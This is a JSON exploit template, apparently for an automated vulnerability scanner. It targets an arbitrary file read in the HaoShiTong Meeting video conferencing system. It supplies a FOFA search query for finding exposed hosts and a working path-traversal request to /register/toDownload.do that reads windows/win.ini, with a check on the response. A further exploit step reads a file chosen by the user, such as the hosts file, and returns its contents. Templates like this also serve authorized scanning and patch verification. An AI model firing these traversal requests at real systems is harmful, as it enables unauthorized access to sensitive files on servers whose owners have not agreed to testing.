{
  "Name": "HaoShiTong Meeting system toDownload.do file read",
  "Description": "There are arbitrary file reading vulnerabilities in the Haoshitong Meeting system, and attackers can obtain sensitive information.",
  "Product": "HaoShiTong",
  "Homepage": "http://www.hst.com/",
  "DisclosureDate": "2021-04-12",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"HaoShiTong-Cloud-Conference\" || app=\"Hanming-Video-Conferencing\"",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://fofa.so"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "createSelect",
      "value": "/windows/win.ini,/Windows/System32/drivers/etc/hosts",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "[extensions]",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/register/toDownload.do?fileName=../../../../../../../../../../../../../..{{{file}}}"
      },
      "SetVariable": ["output|lastbody"]
    }
  ],
  "Tags": ["fileread"],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": ["HaoShiTong-Cloud-Conference"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}